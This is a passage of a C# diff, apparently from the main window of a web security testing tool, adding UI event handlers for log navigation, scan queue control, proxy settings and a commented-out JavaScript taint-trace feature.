IronLog.ShowLog(RequestSource.Probe, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); + } + else if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Scan")) + { + IronLog.ShowLog(RequestSource.Scan, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); + } + else + { + return; + } + } + + private void IronTreeMenuStrip_Opening(object sender, CancelEventArgs e) + { + //Disable all menu items + RunModulesOnUrlToolStripMenuItem.Enabled = false; + RunModulesOnFindingToolStripMenuItem.Enabled = false; + ScanBranchToolStripMenuItem.Enabled = false; + + if (IronTree.SelectedNode == null) return; + TreeNode Node = IronTree.SelectedNode; + //if ((Node.Level > 5) || (Node.Level == 5 && (Node.Parent.Parent.Parent.Parent.Index == 4)) || (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 4)) || (Node.Level == 3 && (Node.Parent.Parent.Index == 4)) || (Node.Level == 2 && (Node.Parent.Index == 4))) + if(IronUI.IsSiteMapNodeSelected()) + { + RunModulesOnUrlToolStripMenuItem.Enabled = true; + if (IronUI.IsScanBranchFormOpen()) + { + IronUI.SBF.Activate(); + } + else + { + ScanBranchToolStripMenuItem.Enabled = true; + } + } + else if(IronUI.IsFindingsNodeSelected()) + { + RunModulesOnFindingToolStripMenuItem.Enabled = true; + } + + } + + private void ScanBranchToolStripMenuItem_Click(object sender, EventArgs e) + { + //if (IronTree.SelectedNode == null) return; + //TreeNode Node = IronTree.SelectedNode; + //if ((Node.Level > 4) || (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 4)) || (Node.Level == 3 && (Node.Parent.Parent.Index == 4)) || (Node.Level == 2 && (Node.Parent.Index == 4))) + //{ + // List UrlPaths = new List(); + // string Query = ""; + // TreeNode SiteMapNode = Node; + // if (SiteMapNode.Text.StartsWith("?")) + // { + // Query = SiteMapNode.Text; + // SiteMapNode = SiteMapNode.Parent; + // } + // while (SiteMapNode.Level > 2) + // { + // UrlPaths.Add(SiteMapNode.Text); + // SiteMapNode = SiteMapNode.Parent; + // } + // UrlPaths.Reverse(); + // StringBuilder UrlPathBuilder = new StringBuilder(); + // foreach (string Path in UrlPaths) + // { + // UrlPathBuilder.Append("/"); UrlPathBuilder.Append(Path); + // } + // string Host = SiteMapNode.Text; + // string Url = UrlPathBuilder.ToString();// +Query; + //if (Url.Length == 0) + //{ + // Url = "/*"; + //} + //else + //{ + // Url = Url + "*"; + //} + Request SelectedUrl = IronUI.GetSelectedUrlFromSiteMap(); + if (SelectedUrl == null) return; + SelectedUrl.Url = string.Format("{0}*", SelectedUrl.UrlPath); + IronUI.ShowScanBranchForm(SelectedUrl); + //} + } + + private void PluginEditorToolStripMenuItem_Click(object sender, EventArgs e) + { + if (IronUI.IsPluginEditorOpen()) + { + IronUI.PE.Activate(); + } + else + { + IronUI.PE = new PluginEditor(); + IronUI.PE.Show(); + } + } + + private void DiffTextToolStripMenuItem_Click(object sender, EventArgs e) + { + IronUI.OpenDiffWindow(); + } + + private void EncodeDecodeToolStripMenuItem_Click(object sender, EventArgs e) + { + IronUI.OpenEncodeDecodeWindow(); + } + + private void InteractiveShellPromptBox_Enter(object sender, EventArgs e) + { + InteractiveShellIn.Focus(); + } + + private void CopyRequestToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + Clipboard.SetText("Could not copy"); + } + catch { } + IronLog.CopyRequest(GetSource(), GetID()); + } + + private void CopyResponseToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + Clipboard.SetText("Could not copy"); + } + catch { } + IronLog.CopyResponse(GetSource(), GetID()); + } + + Request GetSiteMapLogGridRequest() + { + if (SiteMapLogGrid.SelectedCells.Count < 1 || SiteMapLogGrid.SelectedCells[0].Value == null) + { + return null; + } + try + { + int id = Int32.Parse(SiteMapLogGrid.SelectedCells[0].Value.ToString()); + Request Req = null; + string Source = SiteMapLogGrid.SelectedCells[1].Value.ToString(); + switch (Source) + { + case "Proxy": + Req = Request.FromProxyLog(id); + break; + case "Test": + Req = Request.FromTestLog(id); + break; + case "Shell": + Req = Request.FromShellLog(id); + break; + case "Probe": + Req = Request.FromProbeLog(id); + break; + case "Scan": + Req = Request.FromScanLog(id); + break; + } + return Req; + } + catch (Exception Exp) + { + IronException.Report("Error loading Request from SiteMapLogGrid", Exp.Message, Exp.StackTrace); + return null; + } + } + + private void ConfigSetAsSystemProxyCB_Click(object sender, EventArgs e) + { + IronProxy.SystemProxy = ConfigSetAsSystemProxyCB.Checked; + if (ConfigSetAsSystemProxyCB.Checked) + { + Fiddler.FiddlerApplication.oProxy.Attach(); + } + else + { + Fiddler.FiddlerApplication.oProxy.Detach(); + } + } + + private void ImportBurpLogToolStripMenuItem_Click(object sender, EventArgs e) + { + if (IronUI.IsImportFormOpen()) + { + return; + } + while (BurpLogOpenDialog.ShowDialog() == DialogResult.OK) + { + FileInfo Info = new FileInfo(BurpLogOpenDialog.FileName); + Import.ImportBurpLog(Info.FullName); + break; + } + } + + private void StopAllScansToolStripMenuItem_Click(object sender, EventArgs e) + { + StopAllScansAction(); + } + + void StopAllScansAction() + { + Thread T = new Thread(Scanner.StopAll); + T.Start(); + } + + private void StartAllStoppedAndAbortedScansToolStripMenuItem_Click(object sender, EventArgs e) + { + StartAllStoppedAndAbortedScansAction(); + } + + void StartAllStoppedAndAbortedScansAction() + { + List ToStart = new List(); + foreach (DataGridViewRow Row in ASQueueGrid.Rows) + { + string Status = Row.Cells[1].Value.ToString(); + if (Status.Equals("Stopped") || Status.Equals("Aborted")) + { + try + { + int ScanID = Int32.Parse(Row.Cells[0].Value.ToString()); + ToStart.Add(ScanID); + } + catch + { } + } + } + + Thread T = new Thread(Scanner.StartList); + T.Start(ToStart); + } + + private void StopThisScanJobToolStripMenuItem_Click(object sender, EventArgs e) + { + if (ASQueueGrid.SelectedCells.Count < 1 || ASQueueGrid.SelectedCells[0].Value == null) + { + return; + } + try + { + string Status = ASQueueGrid.SelectedCells[1].Value.ToString(); + if (Status.Equals("Running")) + { + int ScanID = Int32.Parse(ASQueueGrid.SelectedCells[0].Value.ToString()); + Scanner.ScanThreads[ScanID].Abort(); + } + } + catch(Exception Exp) + { + IronException.Report("Unable to Stop a Active Scan Job", Exp.Message, Exp.StackTrace); + } + } + + private void ScanQueueMenu_Opening(object sender, CancelEventArgs e) + { + StopThisScanJobToolStripMenuItem.Enabled = false; + if (ASQueueGrid.SelectedCells.Count < 1 || ASQueueGrid.SelectedCells[0].Value == null) + { + return; + } + else + { + try + { + string Status = ASQueueGrid.SelectedCells[1].Value.ToString(); + if (Status.Equals("Running")) + { + StopThisScanJobToolStripMenuItem.Enabled = true; + } + } + catch { } + } + } + + private void TraceGrid_SelectionChanged(object sender, EventArgs e) + { + if (TraceGrid.SelectedCells.Count < 1 || TraceGrid.SelectedCells[0].Value == null) + { + return; + } + try + { + int ID = Int32.Parse(TraceGrid.SelectedCells[0].Value.ToString()); + string Message = IronDB.GetTraceMessage(ID); + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(Tools.RtfSafe(Message)); + TraceMsgRTB.Rtf = SB.ToString(); + } + catch (Exception Exp) + { + IronException.Report("Error reading Trace Message from DB", Exp.Message, Exp.StackTrace); + } + } + + private void ScanTraceGrid_SelectionChanged(object sender, EventArgs e) + { + if (ScanTraceGrid.SelectedCells.Count < 1 || ScanTraceGrid.SelectedCells[0].Value == null) + { + return; + } + try + { + int ID = Int32.Parse(ScanTraceGrid.SelectedCells[0].Value.ToString()); + IronUI.MainViewSelectedScanTraceId = ID; + IronTrace Trace = IronDB.GetScanTrace(ID); + string OverviewXml = Trace.OverviewXml; + string Message = Trace.GetScanTracePrettyMessage(); + + + //string Message = IronDB.GetScanTraceMessage(ID); + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(Tools.RtfSafe(Message)); + ScanTraceMsgRTB.Rtf = SB.ToString(); + + try + { + List> OverviewEntries = IronTrace.GetOverviewEntriesFromXml(OverviewXml); + ScanTraceOverviewGrid.Rows.Clear(); + foreach (Dictionary Entry in OverviewEntries) + { + ScanTraceOverviewGrid.Rows.Add(new object[] { Entry["id"], Entry["log_id"], Entry["payload"], Entry["code"], Entry["length"], Entry["mime"], Entry["time"], Entry["signature"] }); + } + } + catch + { + //Probaly an entry from the log of an older version + } + LoadSelectedTraceBtn.Enabled = true; + } + catch (Exception Exp) + { + IronException.Report("Error reading ScanTrace Message from DB", Exp.Message, Exp.StackTrace); + } + } + + private void ShowLogGridBtn_Click(object sender, EventArgs e) + { + if (ShowLogGridBtn.Text.Equals("Hide Log Grids")) + { + IronUI.LogGridStatus(false); + } + else + { + IronUI.LogGridStatus(true); + } + } + + private void NextLogBtn_Click(object sender, EventArgs e) + { + if (IronLog.CurrentID == 0) return; + DataGridView CurrentGrid = GetCurrentGrid(); + int NewRowId = -1; + int CurrentRowId = GetCurrentRowIndex(CurrentGrid); + if (CurrentRowId == -1) + { + CurrentRowId = GetFirstRowIndex(CurrentGrid); + NewRowId = CurrentRowId; + } + if (CurrentRowId == -1) + { + //show error to user + IronUI.ShowLogStatus("Unable to load Request/Response from Log", true); + return; + } + else if(NewRowId == -1) + { + NewRowId = CurrentRowId + 1; + } + if (NewRowId >= IronLog.MaxRowCount) + { + //ask user to load next set of log from db + IronUI.ShowLogStatus("Reached end of visible log entries. Load next set using the '>' button below.", false); + } + else if (NewRowId >= CurrentGrid.Rows.Count) + { + //say end of log reached + IronUI.ShowLogStatus("Reached end of Log", false); + } + else + { + if (CurrentGrid.Rows[NewRowId].Cells.Count == 0 || CurrentGrid.Rows[NewRowId].Cells[0].Value == null) + { + //say unable to load next log + IronUI.ShowLogStatus("Unable to load next entry from Log", true); + } + else + { + int NewId = Int32.Parse(CurrentGrid.Rows[NewRowId].Cells[0].Value.ToString()); + IronLog.ShowLog(IronLog.CurrentSource, NewId); + } + } + //IronLog.ShowNextLog(); + } + + private void PreviousLogBtn_Click(object sender, EventArgs e) + { + if (IronLog.CurrentID == 0) return; + DataGridView CurrentGrid = GetCurrentGrid(); + int NewRowId = -1; + int CurrentRowId = GetCurrentRowIndex(CurrentGrid); + if (CurrentRowId == -1) + { + CurrentRowId = GetLastRowIndex(CurrentGrid); + NewRowId = CurrentRowId; + } + if (CurrentRowId == -1) + { + //show error to user + IronUI.ShowLogStatus("Unable to load Request/Response from Log", true); + return; + } + else if (NewRowId == -1) + { + NewRowId = CurrentRowId - 1; + } + if (NewRowId == -1) + { + if (CurrentGrid.Rows.Count == IronLog.MaxRowCount) + { + //ask user to load previous set of log from db + IronUI.ShowLogStatus("Reached start of visible log entries. Load previous set using the '<' button below.", false); + } + else + { + //say start of log reached + IronUI.ShowLogStatus("Reached start of Log", false); + } + } + else + { + if (CurrentGrid.Rows[NewRowId].Cells.Count == 0 || CurrentGrid.Rows[NewRowId].Cells[0].Value == null) + { + //say unable to load next log + IronUI.ShowLogStatus("Unable to load previous entry from Log", true); + } + else + { + int NewId = Int32.Parse(CurrentGrid.Rows[NewRowId].Cells[0].Value.ToString()); + IronLog.ShowLog(IronLog.CurrentSource, NewId); + } + } + //IronLog.ShowPreviousLog(); + } + + DataGridView GetCurrentGrid() + { + DataGridView CurrentGrid = null; + if (IronLog.IsSiteMap) + { + CurrentGrid = SiteMapLogGrid; + } + switch (IronLog.CurrentSource) + { + case (RequestSource.Proxy): + CurrentGrid = ProxyLogGrid; + break; + case (RequestSource.Probe): + CurrentGrid = ProbeLogGrid; + break; + case (RequestSource.Shell): + CurrentGrid = ShellLogGrid; + break; + case (RequestSource.Scan): + CurrentGrid = ScanLogGrid; + break; + case (RequestSource.Test): + CurrentGrid = TestLogGrid; + break; + default: + CurrentGrid = OtherLogGrid; + break; + } + return CurrentGrid; + } + + int GetCurrentRowIndex(DataGridView CurrentGrid) + { + int CurrentRowId = -1; + if (CurrentGrid == null) return CurrentRowId; + int NewRowId = -1; + if (IronLog.CurrentRowID < CurrentGrid.Rows.Count) + { + if (IronLog.CurrentID.ToString().Equals(CurrentGrid.Rows[IronLog.CurrentRowID].Cells[0].Value.ToString())) + { + CurrentRowId = IronLog.CurrentRowID; + } + } + if (NewRowId == -1) + { + foreach (DataGridViewRow Row in CurrentGrid.Rows) + { + if (Row.Cells.Count == 0) continue; + if (Row.Cells[0].Value == null) continue; + if (Row.Cells[0].Value.ToString() == IronLog.CurrentID.ToString()) CurrentRowId = Row.Index; + } + } + return CurrentRowId; + } + + int GetFirstRowIndex(DataGridView CurrentGrid) + { + int FirstRowId = -1; + if (CurrentGrid == null) return FirstRowId; + if (CurrentGrid.Rows.Count > 0) + { + try + { + Int32.Parse(CurrentGrid.Rows[0].Cells[0].Value.ToString()); + FirstRowId = 0; + } + catch + {} + } + return FirstRowId; + } + + int GetLastRowIndex(DataGridView CurrentGrid) + { + int LastRowId = -1; + if (CurrentGrid == null) return LastRowId; + if (CurrentGrid.Rows.Count > 0) + { + try + { + Int32.Parse(CurrentGrid.Rows[CurrentGrid.Rows.Count - 1].Cells[0].Value.ToString()); + LastRowId = CurrentGrid.Rows.Count - 1; + } + catch + { + try + { + Int32.Parse(CurrentGrid.Rows[CurrentGrid.Rows.Count - 2].Cells[0].Value.ToString()); + LastRowId = CurrentGrid.Rows.Count - 2; + } + catch { } + } + } + return LastRowId; + } + + + + private void TestGroupLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (TestGroupLogGrid.SelectedCells.Count < 1 || TestGroupLogGrid.SelectedCells[0].Value == null) + { + return; + } + + try + { + if (e.ColumnIndex == 0)// TestGroupHistoryClickActionSelectLogRB.Checked) + { + TestGroupLogGrid.SelectedRows[0].Cells[0].Value = !((bool)TestGroupLogGrid.SelectedRows[0].Cells[0].Value); + } + else + { + IronUI.ResetMTDisplayFields(); + int ID = Int32.Parse(TestGroupLogGrid.SelectedCells[1].Value.ToString()); + Session IrSe = null; + foreach (string Group in ManualTesting.GroupSessions.Keys) + { + if (ManualTesting.GroupSessions[Group].ContainsKey(ID)) + { + IrSe = ManualTesting.GroupSessions[Group][ID]; + IrSe.Flags["Group"] = Group; + } + } + if (IrSe != null) + { + IronUI.FillMTFields(IrSe); + } + } + } + catch(Exception Exp) + { + IronException.Report("Error displaying Request from Test log", Exp.Message, Exp.StackTrace); + IronUI.ShowMTException("Unable to display Request"); + } + } + + private void NextTestLog_Click(object sender, EventArgs e) + { + ManualTesting.ShowNextSession(); + } + + private void PreviousTestLog_Click(object sender, EventArgs e) + { + ManualTesting.ShowPreviousSession(); + } + + //private void RedGroupToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // IronLog.MarkForTesting(GetSource(), GetID(),"Red"); + //} + + //private void GreenGroupToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // IronLog.MarkForTesting(GetSource(), GetID(), "Green"); + //} + + //private void BlueGroupToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // IronLog.MarkForTesting(GetSource(), GetID(), "Blue"); + //} + + //private void GrayGroupToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // IronLog.MarkForTesting(GetSource(), GetID(), "Gray"); + //} + + //private void BrownGroupToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // IronLog.MarkForTesting(GetSource(), GetID(), "Brown"); + //} + + private void ConfigureScanRequestSSLCB_Click(object sender, EventArgs e) + { + if (Scanner.CurrentScanner != null) + { + if (Scanner.CurrentScanner.OriginalRequest != null) + { + Scanner.CurrentScanner.OriginalRequest.SSL = ConfigureScanRequestSSLCB.Checked; + } + } + } + + private void ConsoleStartScanBtn_Click(object sender, EventArgs e) + { + IronUI.ShowConsoleStatus("",false); + try + { + if (IronUI.IsStartScanWizardOpen()) + { + IronUI.SSW.CloseWindow(); + } + } + catch { } + if (ConsoleStartScanBtn.Text.Equals("Start Scan")) + { + try + { + Request Req = new Request(ConsoleScanUrlTB.Text); + IronUI.ShowStartScanWizard(Req); + } + catch (Exception Exp) + { + IronUI.ShowConsoleStatus(Exp.Message, true); + return; + } + } + else + { + ConsoleStartScanBtn.Enabled = false; + IronUI.ShowConsoleStatus("Stopping Scan...", false); + ScanManager.Stop(); + } + } + + private void ViewProxyLogLink_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + main_tab.SelectTab("mt_logs"); + LogTabs.SelectTab("ProxyLogTab"); + IronUI.LogGridStatus(true); + } + + //private void JSTaintTraceControlBtn_Click(object sender, EventArgs e) + //{ + // if (JSTaintTraceControlBtn.Text.Equals("Start Taint Trace")) + // { + // JSTaintResultGrid.Rows.Clear(); + // IronJint.PauseAtTaint = PauseAtTaintCB.Checked; + // JSTaintTraceControlBtn.Text = "Stop Trace"; + // PauseAtTaintCB.Visible = PauseAtTaintCB.Checked; + + // List SourceObjects = new List(); + // List SinkObjects = new List(); + // List SourceReturningMethods = new List(); + // List SinkReturningMethods = new List(); + // List ArgumentReturningMethods = new List(); + // List ArgumentAssignedASourceMethods = new List(); + // List ArgumentAssignedToSinkMethods = new List(); + + // foreach (DataGridViewRow Row in JSTaintConfigGrid.Rows) + // { + // if (Row == null) continue; + // if (Row.Cells == null) continue; + // if (Row.Cells.Count < 7) continue; + // if (Row.Cells["JSTaintDefaultSourceObjectsColumn"].Value != null) + // { + // string SourceObject = Row.Cells["JSTaintDefaultSourceObjectsColumn"].Value.ToString().Trim(); + // if (SourceObject.Length > 0) SourceObjects.Add(SourceObject); + // } + // if (Row.Cells["JSTaintDefaultSinkObjectsColumn"].Value != null) + // { + // string SinkObject = Row.Cells["JSTaintDefaultSinkObjectsColumn"].Value.ToString().Trim(); + // if (SinkObject.Length > 0) SinkObjects.Add(SinkObject); + // } + // if (Row.Cells["JSTaintDefaultArgumentAssignedASourceMethodsColumn"].Value != null) + // { + // string ArgumentAssignedASourceMethod = Row.Cells["JSTaintDefaultArgumentAssignedASourceMethodsColumn"].Value.ToString().Trim(); + // if (ArgumentAssignedASourceMethod.Length > 0) ArgumentAssignedASourceMethods.Add(ArgumentAssignedASourceMethod); + // } + // if (Row.Cells["JSTaintDefaultArgumentAssignedToSinkMethodsColumn"].Value != null) + // { + // string ArgumentAssignedToSinkMethod = Row.Cells["JSTaintDefaultArgumentAssignedToSinkMethodsColumn"].Value.ToString().Trim(); + // if (ArgumentAssignedToSinkMethod.Length > 0) ArgumentAssignedToSinkMethods.Add(ArgumentAssignedToSinkMethod); + // } + // if (Row.Cells["JSTaintDefaultSourceReturningMethodsColumn"].Value != null) + // { + // string SourceReturningMethod = Row.Cells["JSTaintDefaultSourceReturningMethodsColumn"].Value.ToString().Trim(); + // if (SourceReturningMethod.Length > 0) SourceReturningMethods.Add(SourceReturningMethod); + // } + // if (Row.Cells["JSTaintDefaultSinkReturningMethodsColumn"].Value != null) + // { + // string SinkReturningMethod = Row.Cells["JSTaintDefaultSinkReturningMethodsColumn"].Value.ToString().Trim(); + // if (SinkReturningMethod.Length > 0) SinkReturningMethods.Add(SinkReturningMethod); + // } + // if (Row.Cells["JSTaintDefaultArgumentReturningMethodsColumn"].Value != null) + // { + // string ArgumentReturningMethod = Row.Cells["JSTaintDefaultArgumentReturningMethodsColumn"].Value.ToString().Trim(); + // if (ArgumentReturningMethod.Length > 0) ArgumentReturningMethods.Add(ArgumentReturningMethod); + // } + // } + + // IronJint.StartTraceFromUI(JSTaintTraceInRTB.Text, SourceObjects, SinkObjects, SourceReturningMethods, SinkReturningMethods, ArgumentReturningMethods, ArgumentAssignedASourceMethods, ArgumentAssignedToSinkMethods); + // } + // else + // { + // IronJint.StopUITrace(); + // IronUI.ResetTraceStatus(); + // IronUI.ShowTraceStatus("Trace Stopped", false); + // } + //} + + //private void JSTaintTabs_Selected(object sender, TabControlEventArgs e) + //{ + // if (e.TabPage == null) return; + // if (e.TabPage.Name.Equals("JSTaintResultTab")) + // { + // TaintTraceResultSinkLegendTB.Visible = true; + // TaintTraceResultSourceLegendTB.Visible = true; + // TaintTraceResultSourcePlusSinkLegendTB.Visible = true; + // TaintTraceResultSourceToSinkLegendTB.Visible = true; + // JSTaintShowLinesLbl.Visible = true; + // JSTaintShowCleanCB.Visible = true; + // JSTaintShowSourceCB.Visible = true; + // JSTaintShowSinkCB.Visible = true; + // JSTaintShowSourceToSinkCB.Visible = true; + // } + // else + // { + // TaintTraceResultSinkLegendTB.Visible = false; + // TaintTraceResultSourceLegendTB.Visible = false; + // TaintTraceResultSourcePlusSinkLegendTB.Visible = false; + // TaintTraceResultSourceToSinkLegendTB.Visible = false; + // JSTaintShowLinesLbl.Visible = false; + // JSTaintShowCleanCB.Visible = false; + // JSTaintShowSourceCB.Visible = false; + // JSTaintShowSinkCB.Visible = false; + // JSTaintShowSourceToSinkCB.Visible = false; + // } + //} + + //private void JSTainTraceEditMenu_Opening(object sender, CancelEventArgs e) + //{ + // AddSourceTaintToolStripMenuItem.Visible = false; + // AddSinkTaintToolStripMenuItem.Visible = false; + // RemoveSourceTaintToolStripMenuItem.Visible = false; + // RemoveSinkTaintToolStripMenuItem.Visible = false; + + // if (JSTaintResultGrid.SelectedCells.Count < 1 || JSTaintResultGrid.SelectedCells[0].Value == null) return; + + // if (JSTaintResultGrid.SelectedRows[0].Cells[1].Style.BackColor == Color.Orange) + // { + // RemoveSourceTaintToolStripMenuItem.Visible = true; + // AddSinkTaintToolStripMenuItem.Visible = true; + // } + // else if (JSTaintResultGrid.SelectedRows[0].Cells[1].Style.BackColor == Color.HotPink) + // { + // RemoveSinkTaintToolStripMenuItem.Visible = true; + // AddSourceTaintToolStripMenuItem.Visible = true; + // } + // else if (JSTaintResultGrid.SelectedRows[0].Cells[1].Style.BackColor == Color.IndianRed) + // { + // RemoveSinkTaintToolStripMenuItem.Visible = true; + // RemoveSourceTaintToolStripMenuItem.Visible = true; + // } + // else if (JSTaintResultGrid.SelectedRows[0].Cells[1].Style.BackColor == Color.Red) + // { + // RemoveSinkTaintToolStripMenuItem.Visible = true; + // RemoveSourceTaintToolStripMenuItem.Visible = true; + // } + // else + // { + // AddSinkTaintToolStripMenuItem.Visible = true; + // AddSourceTaintToolStripMenuItem.Visible = true; + // } + //} + + //private void AddSourceTaintToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // int LineNo = GetLineFromTaintGrid(); + // if (LineNo == 0) return; + // if (!IronJint.SourceLinesToInclude.Contains(LineNo))IronJint.SourceLinesToInclude.Add(LineNo); + // if (IronJint.SourceLinesToIgnore.Contains(LineNo)) IronJint.SourceLinesToIgnore.Remove(LineNo); + // IronJint.ReDoTraceFromUI(); + //} + + //private void AddSinkTaintToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // int LineNo = GetLineFromTaintGrid(); + // if (LineNo == 0) return; + // if (!IronJint.SinkLinesToInclude.Contains(LineNo)) IronJint.SinkLinesToInclude.Add(LineNo); + // if (IronJint.SinkLinesToIgnore.Contains(LineNo)) IronJint.SinkLinesToIgnore.Remove(LineNo); + // IronJint.ReDoTraceFromUI(); + //} + + //private void RemoveSourceTaintToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // int LineNo = GetLineFromTaintGrid(); + // if (LineNo == 0) return; + // if(!IronJint.SourceLinesToIgnore.Contains(LineNo)) IronJint.SourceLinesToIgnore.Add(LineNo); + // if (IronJint.SourceLinesToInclude.Contains(LineNo)) IronJint.SourceLinesToInclude.Remove(LineNo); + // IronJint.ReDoTraceFromUI(); + //} + + //private void RemoveSinkTaintToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // int LineNo = GetLineFromTaintGrid(); + // if (LineNo == 0) return; + // if (!IronJint.SinkLinesToIgnore.Contains(LineNo)) IronJint.SinkLinesToIgnore.Add(LineNo); + // if (IronJint.SinkLinesToInclude.Contains(LineNo)) IronJint.SinkLinesToInclude.Remove(LineNo); + // IronJint.ReDoTraceFromUI(); + //} + + //private int GetLineFromTaintGrid() + //{ + // if (JSTaintResultGrid.SelectedCells.Count < 1 || JSTaintResultGrid.SelectedCells[0].Value == null) return 0; + + // try + // { + // int LineNo = Int32.Parse(JSTaintResultGrid.SelectedCells[0].Value.ToString()); + // return LineNo; + // } + // catch + // { + // return 0; + // } + //} + + //private void PauseAtTaintCB_Click(object sender, EventArgs e) + //{ + // IronJint.PauseAtTaint = PauseAtTaintCB.Checked; + //} + + //private void JSTaintContinueBtn_Click(object sender, EventArgs e) + //{ + // IronJint.UIIJ.MSR.Set(); + // JSTaintContinueBtn.Visible = false; + // JSTaintResultGrid.Focus(); + //} + + //private void JSTaintResultGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (JSTaintResultGrid.SelectedCells.Count < 1 || JSTaintResultGrid.SelectedCells[0].Value == null) + // { + // return; + // } + // try + // { + // int LineNo = Int32.Parse(JSTaintResultGrid.SelectedCells[0].Value.ToString()); + // IronUI.ShowTaintReasons(LineNo, IronJint.UIIJ.GetSourceReasons(LineNo), IronJint.UIIJ.GetSinkReasons(LineNo)); + // }catch{} + //} + + private void ConfigViewHideLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (ConfigPanel.Visible == true) + { + ConfigPanel.Visible = false; + ConfigViewHideLL.Text = "Show Config"; + } + else + { + ConfigPanel.Height = 350; + ConfigPanel.Visible = true; + ConfigViewHideLL.Text = "Hide Config"; + } + } + + //private void JSTaintConfigShowHideBtn_Click(object sender, EventArgs e) + //{ + // JSTaintShowLinesLbl.Visible = JSTaintShowCleanCB.Visible = JSTaintShowSourceCB.Visible = JSTaintShowSinkCB.Visible = JSTaintShowSourceToSinkCB.Visible = JSTaintConfigPanel.Visible; + // if (JSTaintConfigPanel.Visible == true) + // { + // JSTaintConfigPanel.Visible = false; + // JSTaintConfigShowHideBtn.Text = "Show Taint Config"; + // } + // else + // { + // JSTaintConfigPanel.Height = 450; + // JSTaintConfigGrid.Height = 400; + // JSTaintConfigPanel.Visible = true; + // JSTaintConfigShowHideBtn.Text = "Hide Taint Config"; + // } + //} + + //private void TaintTraceResetTaintConfigBtn_Click(object sender, EventArgs e) + //{ + // IronJint.ShowDefaultTaintConfig(); + //} + + private void ConsoleStatusTB_Enter(object sender, EventArgs e) + { + ConsoleScanUrlTB.Focus(); + } + + private void ProbeLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedProbeLog(); + } + + void ShowSelectedProbeLog() + { + if (ProbeLogGrid.SelectedCells.Count < 1 || ProbeLogGrid.SelectedCells[0].Value == null || ProbeLogGrid.SelectedRows.Count == 0) + { + return; + } + IronLog.ShowLog(RequestSource.Probe, ProbeLogGrid.SelectedCells[0].Value.ToString(), ProbeLogGrid.SelectedRows[0].Index, false); + return; + } + + //private void ConfigJSTaintConfigApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + //{ + // Config.UpdateJSTaintConfigFromUI(); + // IronDB.StoreJSTaintConfig(); + //} + + //private void ConfigJSTaintConfigCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + //{ + // IronUI.UpdateJSTaintConfigInUIFromConfig(); + //} + + //private void TaintTraceClearTaintConfigBtn_Click(object sender, EventArgs e) + //{ + // JSTaintConfigGrid.Rows.Clear(); + //} + + private void ConfigScannerThreadMaxCountTB_Scroll(object sender, EventArgs e) + { + ConfigScannerThreadMaxCountLbl.Text = ConfigScannerThreadMaxCountTB.Value.ToString(); + ConfigScannerThreadMaxCountLbl.ForeColor = Color.FloralWhite; + } + + private void SelectResponseForJavaScriptTestingToolStripMenuItem_Click(object sender, EventArgs e) + { + MessageBox.Show("This feature has been temporarily disabled. It will be reintroduced in a future version."); + //IronLog.MarkForJavaScriptTesting(GetSource(), GetID()); + } + + private void ConfigScannerSettingsApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Config.UpdateScannerSettingsFromUI(); + IronDB.StoreScannerSettings(); + ConfigScannerThreadMaxCountLbl.ForeColor = Color.Black; + } + + private void ConfigScannerSettingsCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + IronUI.UpdateScannerSettingsInUIFromConfig(); + ConfigScannerThreadMaxCountLbl.ForeColor = Color.Black; + } + + private void RenderHTMLToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread RH = new Thread(RenderHtmlOpener); + RH.Start(); + } + + void RenderHtmlOpener() + { + try + { + Tools.Run(Config.RootDir + "/RenderHtml.exe"); + } + catch (Exception Exp) { IronException.Report("Unable to Open RenderHtml", Exp); } + } + + //private void JSTaintShowCleanCB_CheckedChanged(object sender, EventArgs e) + //{ + // IronUI.SetJSTaintTraceResult(); + //} + + //private void JSTaintShowSourceCB_CheckedChanged(object sender, EventArgs e) + //{ + // IronUI.SetJSTaintTraceResult(); + //} + + //private void JSTaintShowSinkCB_CheckedChanged(object sender, EventArgs e) + //{ + // IronUI.SetJSTaintTraceResult(); + //} + + //private void JSTaintShowSourceToSinkCB_CheckedChanged(object sender, EventArgs e) + //{ + // IronUI.SetJSTaintTraceResult(); + //} + + //private void CopyLineTaintToolStripMenuItem_Click(object sender, EventArgs e) + //{ + // if (JSTaintResultGrid.SelectedCells.Count < 1 || JSTaintResultGrid.SelectedCells[0].Value == null) return; + // try + // { + // try + // { + // Clipboard.SetText("Copy Failed!"); + // } + // catch { } + // string Line = JSTaintResultGrid.SelectedCells[1].Value.ToString(); + // try + // { + // Clipboard.SetText(Line); + // } + // catch { } + // } + // catch + // {} + //} + + private void LogOptionsBtn_Click(object sender, EventArgs e) + { + LogOptionsBtn.ContextMenuStrip.Show(LogOptionsBtn, new Point(0, LogOptionsBtn.Height)); 